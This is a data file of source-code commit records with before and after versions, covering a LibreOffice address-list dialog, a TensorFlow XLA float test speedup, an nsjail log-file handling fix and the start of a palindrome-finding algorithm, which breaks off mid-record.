FL_SEPARATOR)),\n m_aOK( this, SW_RES( PB_OK)),\n m_aCancel( this, SW_RES( PB_CANCEL)),\n m_aHelp( this, SW_RES( PB_HELP)),\n#ifdef MSC\n#pragma warning (default : 4355)\n#endif\n m_pNewData( new SwCSVData(rOldData))\n{\n FreeResource();\n m_aFieldsLB.SetSelectHdl(LINK(this, SwCustomizeAddressListDialog, ListBoxSelectHdl_Impl));\n Link aAddRenameLk = LINK(this, SwCustomizeAddressListDialog, AddRenameHdl_Impl );\n m_aAddPB.SetClickHdl(aAddRenameLk);\n m_aRenamePB.SetClickHdl(aAddRenameLk);\n m_aDeletePB.SetClickHdl(LINK(this, SwCustomizeAddressListDialog, DeleteHdl_Impl ));\n Link aUpDownLk = LINK(this, SwCustomizeAddressListDialog, UpDownHdl_Impl);\n m_aUpPB.SetClickHdl(aUpDownLk);\n m_aDownPB.SetClickHdl(aUpDownLk);\n\n ::std::vector< ::rtl::OUString >::iterator aHeaderIter;\n\n for(aHeaderIter = m_pNewData->aDBColumnHeaders.begin();\n aHeaderIter != m_pNewData->aDBColumnHeaders.end(); ++aHeaderIter)\n m_aFieldsLB.InsertEntry(*aHeaderIter);\n\n m_aFieldsLB.SelectEntryPos(0);\n UpdateButtons();\n}\n\/*-- 13.04.2004 14:34:07---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCustomizeAddressListDialog::~SwCustomizeAddressListDialog()\n{\n}\n\n\/*-- 12.08.2004 12:58:00---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, ListBoxSelectHdl_Impl, ListBox*, EMPTYARG)\n{\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:14---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, AddRenameHdl_Impl, PushButton*, pButton)\n{\n bool bRename = pButton == &m_aRenamePB;\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n if(nPos == LISTBOX_ENTRY_NOTFOUND)\n nPos = 0;\n\n SwAddRenameEntryDialog* pDlg =\n new SwAddRenameEntryDialog(pButton, bRename, m_pNewData->aDBColumnHeaders);\n if(bRename)\n {\n String aTemp = m_aFieldsLB.GetEntry(nPos);\n pDlg->SetFieldName(aTemp);\n }\n if(RET_OK == pDlg->Execute())\n {\n String sNew = pDlg->GetFieldName();\n if(bRename)\n {\n m_pNewData->aDBColumnHeaders[nPos] = sNew;\n m_aFieldsLB.RemoveEntry(nPos);\n }\n else\n {\n if ( m_aFieldsLB.GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n ++nPos; \/\/ append the new entry behind the selected\n \/\/add the new column\n m_pNewData->aDBColumnHeaders.insert(m_pNewData->aDBColumnHeaders.begin() + nPos, sNew);\n \/\/add a new entry into all data arrays\n String sTemp;\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n aDataIter->insert(aDataIter->begin() + nPos, sTemp);\n\n }\n\n m_aFieldsLB.InsertEntry(sNew, nPos);\n m_aFieldsLB.SelectEntryPos(nPos);\n }\n delete pDlg;\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:14---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, DeleteHdl_Impl, PushButton*, EMPTYARG)\n{\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n m_aFieldsLB.RemoveEntry(m_aFieldsLB.GetSelectEntryPos());\n m_aFieldsLB.SelectEntryPos(nPos > m_aFieldsLB.GetEntryCount() - 1 ? nPos - 1 : nPos);\n\n \/\/remove the column\n m_pNewData->aDBColumnHeaders.erase(m_pNewData->aDBColumnHeaders.begin() + nPos);\n \/\/remove the data\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n aDataIter->erase(aDataIter->begin() + nPos);\n\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:15---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, UpDownHdl_Impl, PushButton*, pButton)\n{\n USHORT nPos;\n USHORT nOldPos = nPos = m_aFieldsLB.GetSelectEntryPos();\n String aTemp = m_aFieldsLB.GetEntry(nPos);\n m_aFieldsLB.RemoveEntry( nPos );\n if(pButton == &m_aUpPB)\n --nPos;\n else\n ++nPos;\n m_aFieldsLB.InsertEntry(aTemp, nPos);\n m_aFieldsLB.SelectEntryPos(nPos);\n \/\/align m_pNewData\n ::rtl::OUString sHeader = m_pNewData->aDBColumnHeaders[nOldPos];\n m_pNewData->aDBColumnHeaders.erase(m_pNewData->aDBColumnHeaders.begin() + nOldPos);\n m_pNewData->aDBColumnHeaders.insert(m_pNewData->aDBColumnHeaders.begin() + nPos, sHeader);\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n {\n ::rtl::OUString sData = (*aDataIter)[nOldPos];\n aDataIter->erase(aDataIter->begin() + nOldPos);\n aDataIter->insert(aDataIter->begin() + nPos, sData);\n }\n\n UpdateButtons();\n return 0;\n}\n\/*-- 19.04.2004 14:51:49---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nvoid SwCustomizeAddressListDialog::UpdateButtons()\n{\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n USHORT nEntries = m_aFieldsLB.GetEntryCount();\n m_aUpPB.Enable(nPos > 0 && nEntries > 0);\n m_aDownPB.Enable(nPos < nEntries -1);\n m_aDeletePB.Enable(nEntries > 0);\n m_aRenamePB.Enable(nEntries > 0);\n}\n\/*-- 19.04.2004 14:51:49---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCSVData* SwCustomizeAddressListDialog::GetNewData()\n{\n return m_pNewData;\n}\n\n\/*-- 13.04.2004 13:48:41---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwAddRenameEntryDialog::SwAddRenameEntryDialog(\n Window* pParent, bool bRename, const ::std::vector< ::rtl::OUString >& rCSVHeader) :\n SfxModalDialog(pParent, SW_RES(DLG_MM_ADD_RENAME_ENTRY)),\n#ifdef MSC\n#pragma warning (disable : 4355)\n#endif\n m_aFieldNameFT( this, SW_RES( FT_FIELDNAME)),\n m_aFieldNameED( this, SW_RES( ED_FIELDNAME)),\n m_aOK( this, SW_RES( PB_OK)),\n m_aCancel( this, SW_RES( PB_CANCEL)),\n m_aHelp( this, SW_RES( PB_HELP)),\n#ifdef MSC\n#pragma warning (default : 4355)\n#endif\n m_rCSVHeader(rCSVHeader)\n{\n if(bRename)\n SetText(String(SW_RES(ST_RENAME_TITLE)));\n else\n m_aOK.SetText(String(SW_RES(ST_ADD_BUTTON)));\n FreeResource();\n m_aFieldNameED.SetModifyHdl(LINK(this, SwAddRenameEntryDialog, ModifyHdl_Impl));\n ModifyHdl_Impl( &m_aFieldNameED );\n}\n\/*-- 13.04.2004 13:48:41---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwAddRenameEntryDialog::~SwAddRenameEntryDialog()\n{\n}\n\/*-- 19.04.2004 15:31:34---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwAddRenameEntryDialog, ModifyHdl_Impl, Edit*, pEdit)\n{\n ::rtl::OUString sEntry = pEdit->GetText();\n BOOL bFound = sEntry.getLength() ? FALSE : TRUE;\n\n if(!bFound)\n {\n ::std::vector< ::rtl::OUString >::const_iterator aHeaderIter;\n for(aHeaderIter = m_rCSVHeader.begin();\n aHeaderIter != m_rCSVHeader.end();\n ++aHeaderIter)\n if(*aHeaderIter == sEntry)\n {\n bFound = TRUE;\n break;\n }\n }\n m_aOK.Enable(!bFound);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"absl\/base\/casts.h\"\n#include \"tensorflow\/compiler\/xla\/client\/xla_builder.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/client_library_test_base.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/literal_test_util.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/test_macros.h\"\n\nnamespace xla {\nnamespace {\nclass ExhaustiveF32ElementwiseOpTest\n : public ClientLibraryTestBase,\n public ::testing::WithParamInterface<std::pair<int64, int64>> {\n protected:\n ErrorSpec error_spec_{0.0001, 0.0001, \/*relaxed_nans=*\/true};\n\n template <typename EnqueueOpTy>\n void ExhaustivelyTestF32Op(EnqueueOpTy enqueue_op,\n float (*evaluate_op)(float),\n std::pair<int64, int64> known_incorrect_range) {\n int64 begin, end;\n std::tie(begin, end) = GetParam();\n int64 input_size = end - begin;\n LOG(INFO) << \"Checking range [\" << begin << \", \" << end << \")\";\n\n XlaBuilder builder(TestName());\n\n Literal input_literal =\n LiteralUtil::CreateFromDimensions(F32, {input_size});\n for (int64 i = begin; i < end; i++) {\n if (i >= known_incorrect_range.first &&\n i < known_incorrect_range.second) {\n \/\/ If the operation is known to be buggy on a specific input clamp that\n \/\/ input to 0 under the assumption that the op is at least correct on 0.\n input_literal.Set({i - begin}, 0.0f);\n } else {\n input_literal.Set({i - begin}, absl::bit_cast<float, int>(i));\n }\n }\n\n TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<GlobalData> input_data,\n client_->TransferToServer(input_literal));\n\n auto input = Parameter(&builder, 0, input_literal.shape(), \"input\");\n enqueue_op(&builder, input);\n\n std::vector<float> expected_result;\n expected_result.reserve(input_size);\n for (int64 i = 0; i < input_size; i++) {\n expected_result.push_back(evaluate_op(input_literal.Get<float>({i})));\n }\n\n ComputeAndCompareR1<float>(&builder, expected_result, {input_data.get()},\n error_spec_);\n }\n};\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, LogF32) {\n#ifdef XLA_TEST_BACKEND_CPU\n \/\/ TODO(b\/73141998): The vectorized Log implementation gives results outside\n \/\/ our error spec in this range (these numbers are bitwise representations of\n \/\/ floats expressed as a zero extended int64).\n std::pair<int64, int64> known_incorrect_range = {1, 8388608};\n#else\n std::pair<int64, int64> known_incorrect_range = {0, 0};\n#endif\n\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Log(input); }, std::log,\n known_incorrect_range);\n}\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, ExpF32) {\n#ifdef XLA_TEST_BACKEND_CPU\n \/\/ TODO(b\/73142289): The vectorized Exp implementation gives results outside\n \/\/ our error spec in this range (these numbers are bitwise representations of\n \/\/ floats expressed as a zero extended int64):\n std::pair<int64, int64> known_incorrect_range = {1107296256 + 11583654,\n 1107296256 + 11629080};\n#else\n std::pair<int64, int64> known_incorrect_range = {0, 0};\n#endif\n\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Exp(input); }, std::exp,\n known_incorrect_range);\n}\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, TanhF32) {\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Tanh(input); }, std::tanh,\n \/*known_incorrect_range=*\/{0, 0});\n}\n\nstd::vector<std::pair<int64, int64>> CreateExhaustiveParameters() {\n \/\/ We break up the 2^32-element space into small'ish chunks to keep peak\n \/\/ memory usage low.\n std::vector<std::pair<int64, int64>> result;\n const int64 step = 1 << 25;\n for (int64 i = 0; i < (1l << 32); i += step) {\n result.push_back({i, i + step});\n }\n return result;\n}\n\nINSTANTIATE_TEST_CASE_P(ExhaustiveF32ElementwiseOpTestInstance,\n ExhaustiveF32ElementwiseOpTest,\n ::testing::ValuesIn(CreateExhaustiveParameters()));\n} \/\/ namespace\n} \/\/ namespace xla\n<commit_msg>[XLA] Speed up exhaustive_f32_elementwise_op_test.<commit_after>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"absl\/base\/casts.h\"\n#include \"tensorflow\/compiler\/xla\/client\/xla_builder.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/client_library_test_base.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/literal_test_util.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/test_macros.h\"\n\nnamespace xla {\nnamespace {\nclass ExhaustiveF32ElementwiseOpTest\n : public ClientLibraryTestBase,\n public ::testing::WithParamInterface<std::pair<int64, int64>> {\n protected:\n ErrorSpec error_spec_{0.0001, 0.0001, \/*relaxed_nans=*\/true};\n\n template <typename EnqueueOpTy>\n void ExhaustivelyTestF32Op(EnqueueOpTy enqueue_op,\n float (*evaluate_op)(float),\n std::pair<int64, int64> known_incorrect_range) {\n int64 begin, end;\n std::tie(begin, end) = GetParam();\n int64 input_size = end - begin;\n LOG(INFO) << \"Checking range [\" << begin << \", \" << end << \")\";\n\n XlaBuilder builder(TestName());\n\n Literal input_literal =\n LiteralUtil::CreateFromDimensions(F32, {input_size});\n absl::Span<float> input_arr = input_literal.data<float>();\n for (int64 i = begin; i < end; i++) {\n if (i >= known_incorrect_range.first &&\n i < known_incorrect_range.second) {\n \/\/ If the operation is known to be buggy on a specific input clamp that\n \/\/ input to 0 under the assumption that the op is at least correct on 0.\n input_arr[i - begin] = 0;\n } else {\n input_arr[i - begin] = absl::bit_cast<float, int>(i);\n }\n }\n\n TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<GlobalData> input_data,\n client_->TransferToServer(input_literal));\n\n auto input = Parameter(&builder, 0, input_literal.shape(), \"input\");\n enqueue_op(&builder, input);\n\n std::vector<float> expected_result;\n expected_result.reserve(input_size);\n for (int64 i = 0; i < input_size; i++) {\n expected_result.push_back(evaluate_op(input_arr[i]));\n }\n\n ComputeAndCompareR1<float>(&builder, expected_result, {input_data.get()},\n error_spec_);\n }\n};\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, LogF32) {\n#ifdef XLA_TEST_BACKEND_CPU\n \/\/ TODO(b\/73141998): The vectorized Log implementation gives results outside\n \/\/ our error spec in this range (these numbers are bitwise representations of\n \/\/ floats expressed as a zero extended int64).\n std::pair<int64, int64> known_incorrect_range = {1, 8388608};\n#else\n std::pair<int64, int64> known_incorrect_range = {0, 0};\n#endif\n\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Log(input); }, std::log,\n known_incorrect_range);\n}\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, ExpF32) {\n#ifdef XLA_TEST_BACKEND_CPU\n \/\/ TODO(b\/73142289): The vectorized Exp implementation gives results outside\n \/\/ our error spec in this range (these numbers are bitwise representations of\n \/\/ floats expressed as a zero extended int64):\n std::pair<int64, int64> known_incorrect_range = {1107296256 + 11583654,\n 1107296256 + 11629080};\n#else\n std::pair<int64, int64> known_incorrect_range = {0, 0};\n#endif\n\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Exp(input); }, std::exp,\n known_incorrect_range);\n}\n\nXLA_TEST_P(ExhaustiveF32ElementwiseOpTest, TanhF32) {\n ExhaustivelyTestF32Op(\n [](XlaBuilder* builder, const XlaOp& input) { Tanh(input); }, std::tanh,\n \/*known_incorrect_range=*\/{0, 0});\n}\n\nstd::vector<std::pair<int64, int64>> CreateExhaustiveParameters() {\n \/\/ We break up the 2^32-element space into small'ish chunks to keep peak\n \/\/ memory usage low.\n std::vector<std::pair<int64, int64>> result;\n const int64 step = 1 << 25;\n for (int64 i = 0; i < (1l << 32); i += step) {\n result.push_back({i, i + step});\n }\n return result;\n}\n\nINSTANTIATE_TEST_CASE_P(ExhaustiveF32ElementwiseOpTestInstance,\n ExhaustiveF32ElementwiseOpTest,\n ::testing::ValuesIn(CreateExhaustiveParameters()));\n} \/\/ namespace\n} \/\/ namespace xla\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n nsjail - logging\n -----------------------------------------\n\n Copyright 2014 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n*\/\n\n#include \"logs.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <getopt.h>\n#include <limits.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/syscall.h>\n#include <sys\/types.h>\n#include <time.h>\n#include <unistd.h>\n\n#include \"macros.h\"\n#include \"util.h\"\n\nnamespace logs {\n\nstatic int _log_fd = STDERR_FILENO;\nstatic bool _log_fd_isatty = true;\nstatic enum llevel_t _log_level = INFO;\nstatic bool _log_set = false;\n\nstatic void setDupLogFdOr(int fd, int orfd) {\n\tint saved_errno = errno;\n\t_log_fd = fcntl(fd, F_DUPFD_CLOEXEC, 0);\n\tif (_log_fd == -1) {\n\t\t_log_fd = fcntl(orfd, F_DUPFD_CLOEXEC, 0);\n\t}\n\tif (_log_fd == -1) {\n\t\t_log_fd = orfd;\n\t}\n\t_log_fd_isatty = (isatty(_log_fd) == 1);\n\terrno = saved_errno;\n}\n\n\/*\n * Log to stderr by default. Use a dup()d fd, because in the future we'll associate the\n * connection socket with fd (0, 1, 2).\n *\/\n__attribute__((constructor)) static void log_init(void) {\n\tsetDupLogFdOr(STDERR_FILENO, STDERR_FILENO);\n}\n\nbool logSet() {\n\treturn _log_set;\n}\n\nvoid logLevel(enum llevel_t ll) {\n\t_log_level = ll;\n}\n\nvoid logFile(const std::string& logfile) {\n\t_log_set = true;\n\t\/* Close previous log_fd *\/\n\tif (_log_fd > STDERR_FILENO) {\n\t\tclose(_log_fd);\n\t}\n\tint newlogfd = TEMP_FAILURE_RETRY(\n\t open(logfile.c_str(), O_CREAT | O_RDWR | O_APPEND | O_CLOEXEC, 0640));\n\tsetDupLogFdOr(newlogfd, STDERR_FILENO);\n\tif (newlogfd == -1) {\n\t\tPLOG_W(\"Couldn't open logfile open('%s')\", logfile.c_str());\n\t} else {\n\t\tclose(newlogfd);\n\t}\n}\n\nvoid logMsg(enum llevel_t ll, const char* fn, int ln, bool perr, const char* fmt, ...) {\n\tif (ll < _log_level) {\n\t\treturn;\n\t}\n\n\tchar strerr[512];\n\tif (perr) {\n\t\tsnprintf(strerr, sizeof(strerr), \"%s\", strerror(errno));\n\t}\n\tstruct {\n\t\tconst char* const descr;\n\t\tconst char* const prefix;\n\t\tconst bool print_funcline;\n\t\tconst bool print_time;\n\t} static const logLevels[] = {\n\t {\"D\", \"\\033[0;4m\", true, true},\n\t {\"I\", \"\\033[1m\", false, true},\n\t {\"W\", \"\\033[0;33m\", true, true},\n\t {\"E\", \"\\033[1;31m\", true, true},\n\t {\"F\", \"\\033[7;35m\", true, true},\n\t {\"HR\", \"\\033[0m\", false, false},\n\t {\"HB\", \"\\033[1m\", false, false},\n\t};\n\n\t\/* Start printing logs *\/\n\tstd::string msg;\n\tif (_log_fd_isatty) {\n\t\tmsg.append(logLevels[ll].prefix);\n\t}\n\tif (ll != HELP && ll != HELP_BOLD) {\n\t\tmsg.append(\"[\").append(logLevels[ll].descr).append(\"]\");\n\t}\n\tif (logLevels[ll].print_time) {\n\t\tmsg.append(\"[\").append(util::timeToStr(time(NULL))).append(\"]\");\n\t}\n\tif (logLevels[ll].print_funcline) {\n\t\tmsg.append(\"[\")\n\t\t .append(std::to_string(getpid()))\n\t\t .append(\"] \")\n\t\t .append(fn)\n\t\t .append(\"():\")\n\t\t .append(std::to_string(ln));\n\t}\n\n\tchar* strp;\n\tva_list args;\n\tva_start(args, fmt);\n\tint ret = vasprintf(&strp, fmt, args);\n\tva_end(args);\n\tif (ret == -1) {\n\t\tmsg.append(\" [logs internal]: MEMORY ALLOCATION ERROR\");\n\t} else {\n\t\tmsg.append(\" \").append(strp);\n\t\tfree(strp);\n\t}\n\tif (perr) {\n\t\tmsg.append(\": \").append(strerr);\n\t}\n\tif (_log_fd_isatty) {\n\t\tmsg.append(\"\\033[0m\");\n\t}\n\tmsg.append(\"\\n\");\n\t\/* End printing logs *\/\n\n\tif (write(_log_fd, msg.c_str(), msg.size()) == -1) {\n\t\tdprintf(_log_fd, \"%s\", msg.c_str());\n\t}\n\n\tif (ll == FATAL) {\n\t\texit(0xff);\n\t}\n}\n\nvoid logStop(int sig) {\n\tLOG_I(\"Server stops due to fatal signal (%d) caught. Exiting\", sig);\n}\n\n} \/\/ namespace logs\n<commit_msg>log: close previous log descriptor a bit later:<commit_after>\/*\n\n nsjail - logging\n -----------------------------------------\n\n Copyright 2014 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n*\/\n\n#include \"logs.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <getopt.h>\n#include <limits.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/syscall.h>\n#include <sys\/types.h>\n#include <time.h>\n#include <unistd.h>\n\n#include \"macros.h\"\n#include \"util.h\"\n\nnamespace logs {\n\nstatic int _log_fd = STDERR_FILENO;\nstatic bool _log_fd_isatty = true;\nstatic enum llevel_t _log_level = INFO;\nstatic bool _log_set = false;\n\nstatic void setDupLogFdOr(int fd, int orfd) {\n\tint saved_errno = errno;\n\t_log_fd = fcntl(fd, F_DUPFD_CLOEXEC, 0);\n\tif (_log_fd == -1) {\n\t\t_log_fd = fcntl(orfd, F_DUPFD_CLOEXEC, 0);\n\t}\n\tif (_log_fd == -1) {\n\t\t_log_fd = orfd;\n\t}\n\t_log_fd_isatty = (isatty(_log_fd) == 1);\n\terrno = saved_errno;\n}\n\n\/*\n * Log to stderr by default. Use a dup()d fd, because in the future we'll associate the\n * connection socket with fd (0, 1, 2).\n *\/\n__attribute__((constructor)) static void log_init(void) {\n\tsetDupLogFdOr(STDERR_FILENO, STDERR_FILENO);\n}\n\nbool logSet() {\n\treturn _log_set;\n}\n\nvoid logLevel(enum llevel_t ll) {\n\t_log_level = ll;\n}\n\nvoid logFile(const std::string& logfile) {\n\t_log_set = true;\n\tint newlogfd = TEMP_FAILURE_RETRY(\n\t open(logfile.c_str(), O_CREAT | O_RDWR | O_APPEND | O_CLOEXEC, 0640));\n\tif (newlogfd == -1) {\n\t\tPLOG_W(\"Couldn't open logfile open('%s')\", logfile.c_str());\n\t\treturn;\n\t}\n\t\/* Close previous log_fd *\/\n\tif (_log_fd > STDERR_FILENO) {\n\t\tclose(_log_fd);\n\t}\n\tsetDupLogFdOr(newlogfd, STDERR_FILENO);\n\tclose(newlogfd);\n}\n\nvoid logMsg(enum llevel_t ll, const char* fn, int ln, bool perr, const char* fmt, ...) {\n\tif (ll < _log_level) {\n\t\treturn;\n\t}\n\n\tchar strerr[512];\n\tif (perr) {\n\t\tsnprintf(strerr, sizeof(strerr), \"%s\", strerror(errno));\n\t}\n\tstruct {\n\t\tconst char* const descr;\n\t\tconst char* const prefix;\n\t\tconst bool print_funcline;\n\t\tconst bool print_time;\n\t} static const logLevels[] = {\n\t {\"D\", \"\\033[0;4m\", true, true},\n\t {\"I\", \"\\033[1m\", false, true},\n\t {\"W\", \"\\033[0;33m\", true, true},\n\t {\"E\", \"\\033[1;31m\", true, true},\n\t {\"F\", \"\\033[7;35m\", true, true},\n\t {\"HR\", \"\\033[0m\", false, false},\n\t {\"HB\", \"\\033[1m\", false, false},\n\t};\n\n\t\/* Start printing logs *\/\n\tstd::string msg;\n\tif (_log_fd_isatty) {\n\t\tmsg.append(logLevels[ll].prefix);\n\t}\n\tif (ll != HELP && ll != HELP_BOLD) {\n\t\tmsg.append(\"[\").append(logLevels[ll].descr).append(\"]\");\n\t}\n\tif (logLevels[ll].print_time) {\n\t\tmsg.append(\"[\").append(util::timeToStr(time(NULL))).append(\"]\");\n\t}\n\tif (logLevels[ll].print_funcline) {\n\t\tmsg.append(\"[\")\n\t\t .append(std::to_string(getpid()))\n\t\t .append(\"] \")\n\t\t .append(fn)\n\t\t .append(\"():\")\n\t\t .append(std::to_string(ln));\n\t}\n\n\tchar* strp;\n\tva_list args;\n\tva_start(args, fmt);\n\tint ret = vasprintf(&strp, fmt, args);\n\tva_end(args);\n\tif (ret == -1) {\n\t\tmsg.append(\" [logs internal]: MEMORY ALLOCATION ERROR\");\n\t} else {\n\t\tmsg.append(\" \").append(strp);\n\t\tfree(strp);\n\t}\n\tif (perr) {\n\t\tmsg.append(\": \").append(strerr);\n\t}\n\tif (_log_fd_isatty) {\n\t\tmsg.append(\"\\033[0m\");\n\t}\n\tmsg.append(\"\\n\");\n\t\/* End printing logs *\/\n\n\tif (write(_log_fd, msg.c_str(), msg.size()) == -1) {\n\t\tdprintf(_log_fd, \"%s\", msg.c_str());\n\t}\n\n\tif (ll == FATAL) {\n\t\texit(0xff);\n\t}\n}\n\nvoid logStop(int sig) {\n\tLOG_I(\"Server stops due to fatal signal (%d) caught. Exiting\", sig);\n}\n\n} \/\/ namespace logs\n<|endoftext|>"} {"text":"<commit_before>\/\/ Implementation of a linear time algorithm that find the longest palindromic\n\/\/ substring of a given string.\n\/\/\n\/\/ Author: Mikhail Andrenkov\n\/\/ Date: October 22, 2017\n\/\/\n\/\/ Credit: This code is a modification of a Manacher's Algorithm implementation\n\/\/ from https:\/\/algs4.cs.princeton.edu\/53substring\/Manacher.java.html\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <vector>\n\nstd::string expand(const std::string&);\nstd::string solve(const std::string&);\n\n\/\/ Returns the longest palindromic substring of |given|.\nstd::string solve(const std::string &given) {\n\t\/\/ Expand |given| to represent all palindrome indices.\n\tstd::string pad = expand(given);\n\t\/\/ Declare an array to store the size of the longest palindromic substring\n\t\/\/ at each index of |pad|.\n\tstd::vector<int> lps(pad.size(), 1);\n\n\t\/\/ The center of the active palindrome.\n\tint c = 0;\n\t\/\/ The rightmost index of the active palindrome.\n\tint r = 0;\n\tfor (int i = 0; i < pad.size(); ++i) {\n\t\t\/\/ If |i| is past |r|, no previous LPS entries can be reused.\n\t\tif (i < r) {\n\t\t\t\/\/ Calculate the center index of the mirror palindrome.\n\t\t\tint j = 2*c - i;\n\t\t\t\/\/ Calculate the remaining distance in the active palindrome.\n\t\t\tint remaining = r - i + 1;\n\t\t\tlps[i] = std::min(remaining, lps[j]);\n\t\t}\n\n\t\t\/\/ Check if the current palindrome extends beyond the active palindrome.\n\t\tint length = lps[i];\n\t\twhile (i - length >= 0 && i + length < pad.size() && pad[i - length] == pad[i + length]) {\n\t\t\t++lps[i];\n\t\t\t++length;\n\t\t}\n\n\t\t\/\/ Update the active palindrome if the current palindrome reaches further to the right.\n\t\tint i_r = i + lps[i] - 1;\n\t\tif (i_r > r) {\n\t\t\tc = i;\n\t\t\tr = i_r;\n\t\t}\n\t}\n\n\t\/\/ Extract the index and size of the longest palindromic substring.\n\tauto it = std::max_element(lps.begin(), lps.end());\n\tint index = std::distance(lps.begin(), it);\n\tint size = lps[index];\n\n\t\/\/ Convert the expanded index and size to match the original string.\n\tint start = (index + 1)\/2 - size\/2\n\tint length = std::max(1, size - 1);\n\treturn given.substr(start, length);\n}\n\n\/\/ Returns |given| with a \"|\" inserted before and after character.\nstd::string expand(const std::string &given) {\n\tstd::string buffer = \"|\";\n\tfor (const auto &c : given) {\n\t\tbuffer += c;\n\t\tbuffer += \"|\";\n\t}\n\treturn buffer;\n}\n\n\/\/ Execution entry point.\nint main() {\n\t\/\/ Declare some sanity-check tests.\n\tstd::vector<std::pair<const std::string, const std::string>> tests = {\n\t\t{\"\", \"\"},\n\t\t{\"a\", \"a\"},\n\t\t{\"aba\", \"aba\"},\n\t\t{\"xabbab\", \"abba\"},\n\t\t{\"xababay\", 